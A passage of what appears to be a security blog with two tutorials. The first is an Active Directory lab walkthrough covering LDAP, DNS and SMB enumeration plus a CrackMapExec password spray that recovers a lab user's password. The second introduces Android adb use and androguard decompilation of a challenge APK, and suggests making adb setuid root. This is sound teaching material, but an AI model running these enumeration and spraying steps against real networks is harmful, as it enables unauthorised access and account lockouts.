|       supportedControl: 1.2.840.113556.1.4.1974
|       supportedControl: 1.2.840.113556.1.4.1341
|       supportedControl: 1.2.840.113556.1.4.2026
|       supportedControl: 1.2.840.113556.1.4.2064
|       supportedControl: 1.2.840.113556.1.4.2065
|       supportedControl: 1.2.840.113556.1.4.2066
|       supportedControl: 1.2.840.113556.1.4.2090
|       supportedControl: 1.2.840.113556.1.4.2205
|       supportedControl: 1.2.840.113556.1.4.2204
|       supportedControl: 1.2.840.113556.1.4.2206
|       supportedControl: 1.2.840.113556.1.4.2211
|       supportedControl: 1.2.840.113556.1.4.2239
|       supportedControl: 1.2.840.113556.1.4.2255
|       supportedControl: 1.2.840.113556.1.4.2256
|       supportedControl: 1.2.840.113556.1.4.2309
|       supportedLDAPVersion: 3
|       supportedLDAPVersion: 2
|       supportedLDAPPolicies: MaxPoolThreads
|       supportedLDAPPolicies: MaxPercentDirSyncRequests
|       supportedLDAPPolicies: MaxDatagramRecv
|       supportedLDAPPolicies: MaxReceiveBuffer
|       supportedLDAPPolicies: InitRecvTimeout
|       supportedLDAPPolicies: MaxConnections
|       supportedLDAPPolicies: MaxConnIdleTime
|       supportedLDAPPolicies: MaxPageSize
|       supportedLDAPPolicies: MaxBatchReturnMessages
|       supportedLDAPPolicies: MaxQueryDuration
|       supportedLDAPPolicies: MaxDirSyncDuration
|       supportedLDAPPolicies: MaxTempTableSize
|       supportedLDAPPolicies: MaxResultSetSize
|       supportedLDAPPolicies: MinResultSets
|       supportedLDAPPolicies: MaxResultSetsPerConn
|       supportedLDAPPolicies: MaxNotificationPerConn
|       supportedLDAPPolicies: MaxValRange
|       supportedLDAPPolicies: MaxValRangeTransitive
|       supportedLDAPPolicies: ThreadMemoryLimit
|       supportedLDAPPolicies: SystemMemoryLimitPercent
|       highestCommittedUSN: 172440
|       supportedSASLMechanisms: GSSAPI
|       supportedSASLMechanisms: GSS-SPNEGO
|       supportedSASLMechanisms: EXTERNAL
|       supportedSASLMechanisms: DIGEST-MD5
|       dnsHostName: IC1DC1.child1.internal.zeroday.lab
|       ldapServiceName: internal.zeroday.lab:[email protected]
|       serverName: CN=IC1DC1,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=internal,DC=zeroday,DC=lab
|       supportedCapabilities: 1.2.840.113556.1.4.800
|       supportedCapabilities: 1.2.840.113556.1.4.1670
|       supportedCapabilities: 1.2.840.113556.1.4.1791
|       supportedCapabilities: 1.2.840.113556.1.4.1935
|       supportedCapabilities: 1.2.840.113556.1.4.2080
|       supportedCapabilities: 1.2.840.113556.1.4.2237
|       isSynchronized: TRUE
|       isGlobalCatalogReady: TRUE
|       domainFunctionality: 7
|       forestFunctionality: 7
|_      domainControllerFunctionality: 7
Service Info: Host: IC1DC1; OS: Windows

Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds

The ldap-rootdse Nmap script shows us that this domain controller belongs to a child domain (child1.internal.zeroday.lab), shown in the defaultNamingContext attribute, and the root domain is internal.zeroday.lab, shown in the rootDomainNamingContext attribute.

DNS Enumeration

Along with LDAP, the port scan showed that this system was listening on UDP port 53, this is almost certainly Domain Name System (DNS). DNS can be queried to determine the domain controllers for a particular domain:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Lab:~# dig srv _ldap._tcp.dc._msdcs.child1.internal.zeroday.lab @192.168.73.20

; <<>> DiG 9.11.14-3-Debian <<>> srv _ldap._tcp.dc._msdcs.child1.internal.zeroday.lab @192.168.73.20
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 28760
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 2

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;_ldap._tcp.dc._msdcs.child1.internal.zeroday.lab. IN SRV

;; ANSWER SECTION:
_ldap._tcp.dc._msdcs.child1.internal.zeroday.lab. 600 IN SRV 0 100 389 IC1DC1.child1.internal.zeroday.lab.

;; ADDITIONAL SECTION:
IC1DC1.child1.internal.zeroday.lab. 3600 IN A   192.168.73.20

;; Query time: 1 msec
;; SERVER: 192.168.73.20#53(192.168.73.20)
;; WHEN: Thu Feb 13 00:15:34 GMT 2020
;; MSG SIZE  rcvd: 147

It can also be used to query the root domain's domain controllers:

1
2
3
4
Lab:~# dig +short srv _ldap._tcp.dc._msdcs.internal.zeroday.lab @192.168.73.20
0 100 389 IDC1.internal.zeroday.lab.
Lab:~# dig +short a IDC1.internal.zeroday.lab @192.168.73.20
192.168.71.20

SMB Enumeration

Server Message Block (SMB) can be really useful for attackers, there are many possible attacks against the service. Here I'll only perform some very basic enumeration.

First it's useful to know whether NULL authentication is permitted. A Metasploit module can be used to test for this:

1
2
3
4
msf5 auxiliary(scanner/smb/pipe_auditor) > run

[+] 192.168.73.20:445     - Pipes: \netlogon, \lsarpc, \samr, \atsvc, \epmapper, \eventlog, \InitShutdown, \lsass, \LSM_API_service, \ntsvcs, \protected_storage, \router, \scerpc, \srvsvc, \W32TIME_ALT, \wkssvc
[*] 192.168.73.20:        - Scanned 1 of 1 hosts (100% complete)

So we can access SMB pipes without requiring a username and password. While this isn't that common these days on domain controllers, I have seen this on some corporate networks.

We should also try enumerating users. Another Metasploit module can be used for this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
msf5 auxiliary(scanner/smb/smb_lookupsid) > run

[*] 192.168.73.20:445     - PIPE(LSARPC) LOCAL(ICHILD1 - 5-21-3578234567-448745970-1525302398) DOMAIN(ICHILD1 - 5-21-3578234567-448745970-1525302398)
[*] 192.168.73.20:445     - USER=Administrator RID=500
[*] 192.168.73.20:445     - USER=Guest RID=501
[*] 192.168.73.20:445     - USER=krbtgt RID=502
[*] 192.168.73.20:445     - USER=DefaultAccount RID=503
[*] 192.168.73.20:445     - GROUP=Domain Admins RID=512
[*] 192.168.73.20:445     - GROUP=Domain Users RID=513
[*] 192.168.73.20:445     - GROUP=Domain Guests RID=514
[*] 192.168.73.20:445     - GROUP=Domain Computers RID=515
[*] 192.168.73.20:445     - GROUP=Domain Controllers RID=516
[*] 192.168.73.20:445     - TYPE=4 NAME=Cert Publishers rid=517
[*] 192.168.73.20:445     - GROUP=Group Policy Creator Owners RID=520
[*] 192.168.73.20:445     - GROUP=Read-only Domain Controllers RID=521
[*] 192.168.73.20:445     - GROUP=Cloneable Domain Controllers RID=522
[*] 192.168.73.20:445     - GROUP=Protected Users RID=525
[*] 192.168.73.20:445     - GROUP=Key Admins RID=526
[*] 192.168.73.20:445     - TYPE=4 NAME=RAS and IAS Servers rid=553
[*] 192.168.73.20:445     - TYPE=4 NAME=Allowed RODC Password Replication Group rid=571
[*] 192.168.73.20:445     - TYPE=4 NAME=Denied RODC Password Replication Group rid=572
[*] 192.168.73.20:445     - USER=IC1DC1$ RID=1000
[*] 192.168.73.20:445     - TYPE=4 NAME=DnsAdmins rid=1101
[*] 192.168.73.20:445     - GROUP=DnsUpdateProxy RID=1102
[*] 192.168.73.20:445     - USER=INTERNAL$ RID=1103
[*] 192.168.73.20:445     - USER=child.user RID=1104
[*] 192.168.73.20:445     - USER=child.admin RID=1105
[*] 192.168.73.20:445     - USER=client1testspn$ RID=1106
[*] 192.168.73.20:445     - USER=child.local RID=1107
[*] 192.168.73.20:445     - USER=ChildTestSPN$ RID=1109
[*] 192.168.73.20:445     - USER=WIN10TEST$ RID=1110
[*] 192.168.73.20:445     - ICHILD1 [Administrator, Guest, krbtgt, DefaultAccount, IC1DC1$, INTERNAL$, child.user, child.admin, client1testspn$, child.local, ChildTestSPN$, WIN10TEST$ ]
[*] 192.168.73.20:        - Scanned 1 of 1 hosts (100% complete)

Password Spraying

Now that we have a list of valid usernames, it's worth trying to guess a valid password. Password spraying is a method of attack where you take a list of valid, or potentially valid, usernames and attempt to try different commonly used passwords across all usernames.

The lab environment is small but in a real world AD infrastructure it's very likely to be able to guess passwords for some accounts. Of course on a real infrastrcture extreme care has to be taken before attempting to perform password spraying attacks as there is a real possibilty of locking user accounts.

To perform a password spray CrackMapExec can be used:

1
2
3
4
5
6
Lab:~# cme smb 192.168.73.20 -d child1.internal.zeroday.lab -u users.txt -p Password4
SMB         192.168.73.20   445    IC1DC1           [*] Windows Server 2016 Datacenter Evaluation 14393 x64 (name:IC1DC1) (domain:child1.internal.zeroday.lab) (signing:True) (SMBv1:True)
SMB         192.168.73.20   445    IC1DC1           [-] child1.internal.zeroday.lab\Administrator:Password4 STATUS_LOGON_FAILURE
SMB         192.168.73.20   445    IC1DC1           [-] child1.internal.zeroday.lab\IC1DC1$:Password4 STATUS_LOGON_FAILURE
SMB         192.168.73.20   445    IC1DC1           [-] child1.internal.zeroday.lab\INTERNAL$:Password4 STATUS_LOGON_FAILURE
SMB         192.168.73.20   445    IC1DC1           [+] child1.internal.zeroday.lab\child.user:Password4

The password for the child.user account was discovered in this password spray attempt. Now recon from an authenticated point of view is possible on this domain.

Conclusion

AD security is a huge topic and I've only began the scrath the surface in this post, even from an unauthenticated point of view. Hopefully this was a half decent way to introduce the topic though.

It's worth noting that there are many toold that perform the same tests carried out in this post, but some of them did not work. I might make a post demonstrating that because it's important to understand that different tools will work in different situations, so it's very useful to have knowledge of many and try others when your first choice fails.

Further Reading

If you are serious about AD security, the best resource out there is adscurity.org by Sean Metcalf.

Android Basics

Hacking Android is a huge topic, you have the Linux kernel, native code applications and normal Android applications that run on top of the Dalvik VM, a huge attack surface with the wireless, bluetooth, USB, NFC and various other interfaces.

This post is going to be a very short introduction to the platform as well as introducing some very basic analysis techniques for analyzing an Android application.

For this post I will be using a HTC Desire HD running an unrooted Android 2.3.5, this is an old version of Android, running on an old device but it will be fine for the purposes of this post.

The host machine that I'll be using is running 64bit Gentoo running the Linux kernel version 4.0.5.

Setting Up The Environment

The first thing you need to do if you want to analyze an Android device is to install the SDK.

Depending on your system, you might need to install both the Android Studio as well as the platform tools, its important that you have the platform-tools directory because that is the directory that contains the adb binary.

adb is the Android Debug Bridge and it's used to do any sort of debugging of any android device. Without this application, debugging Android will be very difficult.

On my Windows computer this was installed to C:\Users\User\AppData\Local\Android\sdk\platform-tools.

On my Debian-based system it was installed to $HOME/Android/Sdk/platform-tools and on my Gentoo system it was installed to /usr/bin.

Where ever it is installed to, it's best to include this directory in your PATH variable so that you can run it with cd'ing to that directory or having to put the whole file path in every time.

This is optional but on Linux I've been unable to get adb to work with running it as root, instead of having to use sudo all the time I set the permissions to the adb binary to 4750 and the ownership to root:wheel, this makes it a setuid binary and so will run with root permissions but only for users in the wheel group.

The permissions look as follows:

1
2
user@exploit ~ $ ls -l `which adb`
-rwsr-x--- 1 root wheel 156128 Aug  9 01:13 /usr/bin/adb

Exploring The System Using ADB

Firstly the Android device needs to be connected to the host machine using USB.

After that we need to enable USB debugging, on my test device the setting is in Settings->Applications->Development:

You will need to confirm this:

We can now use adb to get a shell on the Android device and take a look around, first let's check the version of the Linux kernel that it's running:

1
2
3
4
5
6
7
8
9
user@exploit ~ $ adb shell
* daemon not running. starting it now on port 5037 *
* daemon started successfully *
$ pwd
/
$ uname -a
uname: permission denied
$ cat /proc/version
Linux version 2.6.35.10-g931a37e (htc-kernel@and18-2) (gcc version 4.4.0 (GCC) ) #1 PREEMPT Wed Nov 9 14:04:03 CST 2011

So as you can see it is, in fact, running Linux version 2.6.35 but in some sort of restricted environment.

Let's check to see some details of the user that we have been logged in as:

1
2
3
4
5
6
$ whoami
whoami: permission denied
$ w
w: permission denied
$ cat /etc/passwd
/etc/passwd: No such file or directory

As you can see due to the restricted environment, the normal methods aren't working.

But there is an easy way to figure this out:

1
2
$ ps | grep ' ps'
grep: permission denied

So that didn't work either, but there is a way to use grep on the output of these commands:

1
2
3
$ exit
user@exploit ~ $ adb shell ps | grep ' ps'
shell     5968  5967  944    332   00000000 afd0b83c R ps

Here we can see we're running at the user shell. Also note that we can run the commands using adb but then pipe the output to applications running on our host system to sort through the data.

Knowing our username we can now see what shell we are running in:

1
2
3
4
user@exploit ~ $ adb shell ps | grep shell
shell     6062  29118 788    336   c009ccc8 afd0c78c S /system/bin/sh
shell     6063  6062  944    332   00000000 afd0b83c R ps
shell     29118 1     3464   216   ffffffff 00000000 S /sbin/adbd

So this is clearly a Linux system but its very different from most Linux systems, let's have a look at the directories under /:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
user@exploit ~ $ adb shell ls -l /
drwxr-xr-x root     system            2015-07-28 18:35 app-cache
dr-x------ root     root              2015-07-28 18:33 config
lrwxrwxrwx root     root              2015-07-28 18:33 sdcard -> /mnt/sdcard
drwxr-xr-x root     root              2015-07-28 18:33 acct
drwxrwxr-x root     system            2015-07-28 18:33 mnt
lrwxrwxrwx root     root              2015-07-28 18:33 vendor -> /system/vendor
lrwxrwxrwx root     root              2015-07-28 18:33 d -> /sys/kernel/debug
lrwxrwxrwx root     root              2015-07-28 18:33 etc -> /system/etc
drwxrwx--- system   cache             2015-08-15 19:00 cache
drwx------ root     root              2015-08-16 09:53 devlog
-rw-r--r-- root     root          728 1970-01-01 01:00 ueventd.spade.rc
-rw-r--r-- root     root         4429 1970-01-01 01:00 ueventd.rc
-rw-r--r-- root     root            0 1970-01-01 01:00 ueventd.goldfish.rc
drwxr-xr-x root     root              2012-11-18 05:06 system
drwxr-xr-x root     root              2015-07-28 18:32 sys
drwxr-x--- root     root              1970-01-01 01:00 sbin
dr-xr-xr-x root     root              1970-01-01 01:00 proc
-rwxr-x--- root     root         7423 1970-01-01 01:00 init.spade.rc
-rwxr-x--- root     root        21309 1970-01-01 01:00 init.rc
-rwxr-x--- root     root         1677 1970-01-01 01:00 init.goldfish.rc
-rwxr-x--- root     root       107216 1970-01-01 01:00 init
-rw-r--r-- root     root          118 1970-01-01 01:00 default.prop
drwxrwx--x system   system            2015-02-16 07:05 data
-rw-r--r-- root     root         1401 1970-01-01 01:00 cwkeys
-rw-r--r-- root     root          460 1970-01-01 01:00 bootcomplete.rc
drwx------ root     root              2011-11-09 05:59 root
drwxr-xr-x root     root              2015-08-10 08:39 dev

Again, some of these are familiar (like etc, proc, dev...) but directories like system, acct and app-cache are less familiar.

I'm not going to go through the whole of Android, the point of this section was to demonstrate that this is a Linux system but not 1 that will seem totally familiar with Linux admins.

There are, however, a couple of commands I want to mention here, firstly getprop:

1
2
3
4
5
user@exploit ~ $ adb shell getprop | grep build.version
[ro.build.version.incremental]: [208029.5]
[ro.build.version.sdk]: [10]
[ro.build.version.codename]: [REL]
[ro.build.version.release]: [2.3.5]

Here I'm just using getprop to show some information about the build version of Android but you can get a lot of information from this.

The other 1 is logcat, which is basically the system log:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
user@exploit ~ $ adb logcat -t 8
--------- beginning of /dev/log/system
--------- beginning of /dev/log/main
D/dalvikvm(11665): GC_CONCURRENT freed 513K, 37% free 5018K/7879K, external 0K/0K, paused 3ms+2ms
D/dalvikvm(14049): GC_EXPLICIT freed 13K, 41% free 4222K/7047K, external 0K/0K, paused 102ms
D/dalvikvm(11665): GC_CONCURRENT freed 545K, 36% free 5193K/8071K, external 0K/0K, paused 2ms+2ms
D/dalvikvm(11665): GC_CONCURRENT freed 594K, 36% free 5338K/8263K, external 0K/0K, paused 9ms+2ms
D/dalvikvm(11665): GC_CONCURRENT freed 779K, 38% free 5355K/8519K, external 0K/0K, paused 3ms+11ms
D/dalvikvm(11665): GC_CONCURRENT freed 831K, 37% free 5428K/8583K, external 0K/0K, paused 2ms+2ms
D/dalvikvm(11665): GC_CONCURRENT freed 857K, 38% free 5414K/8647K, external 0K/0K, paused 2ms+3ms
D/dalvikvm(11665): GC_CONCURRENT freed 721K, 37% free 5460K/8647K, external 0K/0K, paused 4ms+6ms

Here I'm just outputing the last 8 lines of the log, as you can see it's an actual built in command into adb, but you can run logcat from inside the shell too.

logcat is very useful for debugging and well as showing some information disclosure vulnerabilities that might exist in an Android application, but we'll get to that a bit later :-)

Installing And Running The Challenge App

For the purposes of this post I created a little, very basic, challenge application, which you can download from here.

You can install the application using adb:

1
2
3
4
5
user@exploit ~ $ adb push Android/src/challenge1.apk /data/local/tmp/
2927 KB/s (1052648 bytes in 0.351s)
user@exploit ~ $ adb shell pm install /data/local/tmp/challenge1.apk
        pkg: /data/local/tmp/challenge1.apk
Success

Now that the application is installed we can run it and have a look at what it does.

Starting the application shows us this:

Putting in some text in to the field and clicking on the Check Password button shows us this:

So its clear what we have to try and do here.

Android Applications

Android applications come in apk format, these are just Java archive file:

1
2
user@exploit ~/Android/src $ file challenge1.apk
challenge1.apk: Java archive data (JAR)

These are very similar to zip files and can be unzipped using the unzip utility:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
user@exploit ~/Android/src $ mkdir challenge1
user@exploit ~/Android/src $ cd challenge1
user@exploit ~/Android/src/challenge1 $ unzip ../challenge1.apk
Archive:  ../challenge1.apk
  inflating: AndroidManifest.xml
  inflating: res/anim/abc_fade_in.xml
  inflating: res/anim/abc_fade_out.xml
  inflating: res/anim/abc_grow_fade_in_from_bottom.xml
  inflating: res/anim/abc_popup_enter.xml
  inflating: res/anim/abc_popup_exit.xml
  inflating: res/anim/abc_shrink_fade_out_from_bottom.xml
...
  inflating: res/layout/notification_template_lines.xml
  inflating: res/layout/notification_template_media.xml
  inflating: res/layout/notification_template_part_chronometer.xml
  inflating: res/layout/notification_template_part_time.xml
  inflating: res/layout/select_dialog_item_material.xml
  inflating: res/layout/select_dialog_multichoice_material.xml
  inflating: res/layout/select_dialog_singlechoice_material.xml
  inflating: res/layout/support_simple_spinner_dropdown_item.xml
  inflating: res/menu/menu_main.xml
 extracting: res/mipmap-hdpi-v4/ic_launcher.png
 extracting: res/mipmap-mdpi-v4/ic_launcher.png
 extracting: res/mipmap-xhdpi-v4/ic_launcher.png
 extracting: res/mipmap-xxhdpi-v4/ic_launcher.png
 extracting: resources.arsc
  inflating: classes.dex
  inflating: META-INF/MANIFEST.MF
  inflating: META-INF/CERT.SF
  inflating: META-INF/CERT.RSA

As you will see there are a lot of files in res/, I've shortened it here.

One of the most important files is AndroidManifest.xml, this contains the configuration of the application, including activity, intent and permissions declarations.

But as you can see this is some sort of binary file:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
user@exploit ~/Android/src/challenge1 $ file AndroidManifest.xml
AndroidManifest.xml: data
user@exploit ~/Android/src/challenge1 $ cat AndroidManifest.xml
Β„P4RvœΒͺΒΈ.2Dx¬À,J^xŒ.fz
                         versionCode
minSdkVersiontargetSdkVersion       versionName
                             allowBackupiconlabelthemenameandroid*http://schemas.android.com/apk/res/androidpackageplatformBuildVersionCodeplatformBuildVersionNammanifest+ph.exploit.crack.cha5.1.1-181972uses-sdkge11.022
intent-filteractionandroid.intent.action.MAIcategory android.intent.category.LAUNCHER,nActivity
                                                                                      €ÿÿÿÿ
ˆÿÿÿÿÿÿÿÿ
ΓΏΓΏΓΏΓΏ
ΓΏΓΏΓΏΓΏ
ΓΏΓΏΓΏLΓΏΓΏΓΏΓΏΓΏΓΏΓΏΓΏ
ΓΏΓΏΓΏΓΏ

ΓΏΓΏΓΏΓΏ    ΓΏΓΏΓΏΓΏΓΏΓΏΓΏΓΏt
                 ΓΏΓΏΓΏΓΏΓΏΓΏΓΏΓΏ
ΓΏΓΏΓΏw
ΓΏΓΏΓΏΓΏ
ΓΏΓΏΓΏΓΏ
ΓΏΓΏΓΏΓΏΓΏΓΏΓΏLΓΏΓΏΓΏΓΏΓΏΓΏΓΏΓΏ
ΓΏΓΏΓΏΓΏ
$ΓΏΓΏΓΏΓΏΓΏΓΏΓΏΓΏ8ΓΏΓΏΓΏΓΏΓΏΓΏΓΏΓΏ
ΓΏΓΏΓΏΓΏΓΏΓΏΓΏΓΏ8ΓΏΓΏΓΏΓΏΓΏΓΏΓΏΓΏ
ΓΏΓΏΓΏΓΏΓΏΓΏΓΏΓΏΓΏΓΏΓΏΓΏΓΏΓΏΓΏΓΏΓΏΓΏΓΏΓΏΓΏΓΏΓΏΓΏΓΏΓΏΓΏΓΏΓΏΓΏΓΏΓΏ

It's actually binary XML.

We can manually convert this to plain XML using something like AXMLPrinter2 but I'll show an easier way to look at this later.

Another important file is the classes.dex file. This contains all of our Java code.

Most code that runs on Android applications, including most of the Android Framework, is Java, but instead of compiling to Java bytecode, it is compiled into Dalvik bytecode (and stored in .dex or .odex files).

Again, this could be manually decompiled back to Java using dex2jar and looked at using jd-gui but I'll show a better way of doing this too.

Doing A Very Basic Static Analysis

To end this post I'll crack this challenge while demonstrating a quick basic analysis of the apk file using a tool called androguard created by Anthony Desnos.

Androguard is a python toolset for analyzing apk files.

Its very easy to setup, providing you have python and git installed you just run:

1
git clone https://github.com/androguard/androguard.git

This will create a directory in the current directory called androguard.

Now you just need to make sure you have the latest version of IPython installed, you can do that by running:

1
pip install ipython

Now just cd to the androguard directory and you should see the following (or something very similar):

1
2
3
user@exploit ~/tools/androguard $ ls
androarsc.py  androaxml.py   androdd.py    androdis.py   androguard   androlyze.py  androsim.py   CHANGELOG  elsim     LICENCE-2.0  README.md  tests
androauto.py  androcsign.py  androdiff.py  androgexf.py  androgui.py  androsign.py  apkviewer.py  demos      examples  Makefile     setup.py   tools

The tool we'll be using is androlyze.py, we can start it by running:

1
2
3
user@exploit ~/tools/androguard $ ./androlyze.py -s
Androlyze version 3.0
In [1]:

Now we need to import our apk file:

1
2
3
In [1]: a,d,dx = AnalyzeAPK('/home/user/Android/src/challenge1.apk', decompiler='dad')

In [2]:

Here we are using the dad decompiler, created by Geoffroy Gueguen, that comes with androguard and selecting the challenge apk file.

Now we can look at this application in more detail:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
In [2]: a.get_activities()
Out[2]: ['ph.exploit.crack.challenge1.crackchallenge1.MainActivity']

In [3]: a.get_main_activity()
Out[3]: u'ph.exploit.crack.challenge1.crackchallenge1.MainActivity'

In [4]: a.get_permissions()
Out[4]: []

In [5]: a.get_receivers()
Out[5]: []

In [6]: print a.xml['AndroidManifest.xml'].toxml()
<?xml version="1.0" ?><manifest android:versionCode="1" android:versionName="1.0" package="ph.exploit.crack.challenge1.crackchallenge1" platformBuildVersionCode="22" platformBuildVersionName="5.1.1-1819727" xmlns:android="http://schemas.android.com/apk/res/android">
<uses-sdk android:minSdkVersion="10" android:targetSdkVersion="22">
</uses-sdk>
<application android:allowBackup="true" android:icon="@7F030000" android:label="@7F060012" android:theme="@7F080077">
<activity android:label="@7F060012" android:name="ph.exploit.crack.challenge1.crackchallenge1.MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN">
</action>
<category android:name="android.intent.category.LAUNCHER">
</category>
</intent-filter>
</activity>
</application>
</manifest>

In [7]:

As you can see this is a very basic application, but we can now see the contents of the AndroidManifest.xml file.

An activity is basically just a screen, or, to relate it to a web application, a page. The main activity is the first activity that is shown to the user.

Let's try to look at some of the code.

First we'll print the different methods which are part of the main activity:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
In [7]: for m in d.CLASS_Lph_exploit_crack_challenge1_crackchallenge1_MainActivity.get_methods():
   ...:     print m.get_name()
   ...:     
<init>
onClick
onCreate
onCreateOptionsMenu
onOptionsItemSelected

In [8]:

The first place to look here is the onCreate method.

This is the code that gets run when the application first starts:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
In [8]: d.CLASS_Lph_exploit_crack_challenge1_crackchallenge1_MainActivity.METHOD_onCreate.source()
protected void onCreate(android.os.Bundle p15)
    {
        super.onCreate(p15);
        android.widget.RelativeLayout v1_1 = new android.widget.RelativeLayout(this);
        v1_1.setBackgroundColor(-16777216);
        android.widget.RelativeLayout$LayoutParams v0_1 = new android.widget.RelativeLayout$LayoutParams(-2, -2);
        android.widget.RelativeLayout$LayoutParams v2_1 = new android.widget.RelativeLayout$LayoutParams(-2, -2);
        android.widget.RelativeLayout$LayoutParams v4_1 = new android.widget.RelativeLayout$LayoutParams(-2, -2);
        android.widget.RelativeLayout$LayoutParams v8_1 = new android.widget.RelativeLayout$LayoutParams(-2, -2);
        android.widget.RelativeLayout$LayoutParams v7_1 = new android.widget.RelativeLayout$LayoutParams(-2, -2);
        v0_1.addRule(14);
        v0_1.addRule(15);
        this.checkButton = new android.widget.Button(this);
        this.checkButton.setText("Check Password");
        this.checkButton.setBackgroundColor(-1);
        this.checkButton.setTextColor(-16777216);
        this.checkButton.setId(1);
        this.checkButton.setClickable(1);
        this.checkButton.setOnClickListener(this);
        this.inputBox = new android.widget.EditText(this);
        this.inputBox.setBackgroundColor(-1);
        this.inputBox.setTextColor(-16711936);
        this.inputBox.setId(2);
        v2_1.addRule(2, this.checkButton.getId());
        v2_1.addRule(14);
        v2_1.setMargins(0, 0, 0, 50);
        android.widget.TextView v3_1 = new android.widget.TextView(this);
        v3_1.setText("Please enter the secret password:");
        v3_1.setTextColor(-1);
        v3_1.setId(3);
        v4_1.addRule(2, this.inputBox.getId());
        v4_1.addRule(14);
        v4_1.setMargins(0, 0, 0, 50);
        android.widget.TextView v9_1 = new android.widget.TextView(this);
        v9_1.setText("Welcome to Challenge 1!");
        v9_1.setTextColor(-1);
        v9_1.setId(4);
        v8_1.addRule(2, v3_1.getId());
        v8_1.addRule(14);
        v8_1.setMargins(0, 0, 0, 50);
        this.resultText = new android.widget.TextView(this);
        this.resultText.setId(5);
        this.resultText.setVisibility(4);
        v7_1.addRule(3, this.checkButton.getId());
        v7_1.addRule(14);
        v7_1.setMargins(0, 50, 0, 0);
        this.inputBox.setWidth(((int) android.util.TypedValue.applyDimension(1, 1133903872, this.getResources().getDisplayMetrics())));
        v1_1.addView(this.checkButton, v0_1);
        v1_1.addView(this.inputBox, v2_1);
        v1_1.addView(v3_1, v4_1);
        v1_1.addView(v9_1, v8_1);
        v1_1.addView(this.resultText, v7_1);
        this.setContentView(v1_1);
        return;
    }


In [9]:

We can see here that the actual interface for this application is created dynamically using Java.

As you can see from line 20, this main class is registered as the onClickListener for the button that checks the value of the password.

This means that when you press the Check Password button, it will run the onClick method in this class.

So let's look at the code for that method:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
In [9]: d.CLASS_Lph_exploit_crack_challenge1_crackchallenge1_MainActivity.METHOD_onClick.source()
public void onClick(android.view.View p4)
    {
        if (p4 == this.checkButton) {
            if (this.inputBox.getText().toString().equals("supersecurepassword") != 1) {
                this.resultText.setText("Incorrect password! :\'-(");
                this.resultText.setTextColor(-65536);
                this.resultText.setVisibility(0);
            } else {
                this.resultText.setText("Well done!! Challenge passed! :-)");
                this.resultText.setTextColor(-16711936);
                this.resultText.setVisibility(0);
            }
        }
        return;
    }


In [10]:

So here it's obvious that the password is supersecurepassword.

We can check that on the application itself:

It was fine this time but there are times when a decompilation will not be enough, the decompiler will not be able to recreate the source code well enough to get the right result.

In these cases you can use the disassembler like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
 In [10]: d.CLASS_Lph_exploit_crack_challenge1_crackchallenge1_MainActivity.METHOD_onClick.show()
########## Method Information
Lph/exploit/crack/challenge1/crackchallenge1/MainActivity;->onClick(Landroid/view/View;)V [access_flags=public]
########## Params
- local registers: v0...v3
- v4: android.view.View
- return: void
####################
***************************************************************************
onClick-BB@0x0 :
        0  (00000000) const/4             v2, 0
        1  (00000002) iget-object         v0, v3, Lph/exploit/crack/challenge1/crackchallenge1/MainActivity;->checkButton Landroid/widget/Button;
        2  (00000006) if-ne               v4, v0, 41 [ onClick-BB@0xa onClick-BB@0x58 ]

onClick-BB@0xa :
        3  (0000000a) iget-object         v0, v3, Lph/exploit/crack/challenge1/crackchallenge1/MainActivity;->inputBox Landroid/widget/EditText;
        4  (0000000e) invoke-virtual      v0, Landroid/widget/EditText;->getText()Landroid/text/Editable;
        5  (00000014) move-result-object  v0
        6  (00000016) invoke-virtual      v0, Ljava/lang/Object;->toString()Ljava/lang/String;
        7  (0000001c) move-result-object  v0
        8  (0000001e) const-string        v1, 'supersecurepassword'
        9  (00000022) invoke-virtual      v0, v1, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        10 (00000028) move-result         v0
        11 (0000002a) const/4             v1, 1
        12 (0000002c) if-ne               v0, v1, 23 [ onClick-BB@0x30 onClick-BB@0x5a ]

onClick-BB@0x30 :
        13 (00000030) iget-object         v0, v3, Lph/exploit/crack/challenge1/crackchallenge1/MainActivity;->resultText Landroid/widget/TextView;
        14 (00000034) const-string        v1, 'Well done!! Challenge passed! :-)'
        15 (00000038) invoke-virtual      v0, v1, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
        16 (0000003e) iget-object         v0, v3, Lph/exploit/crack/challenge1/crackchallenge1/MainActivity;->resultText Landroid/widget/TextView;
        17 (00000042) const               v1, -16711936
        18 (00000048) invoke-virtual      v0, v1, Landroid/widget/TextView;->setTextColor(I)V
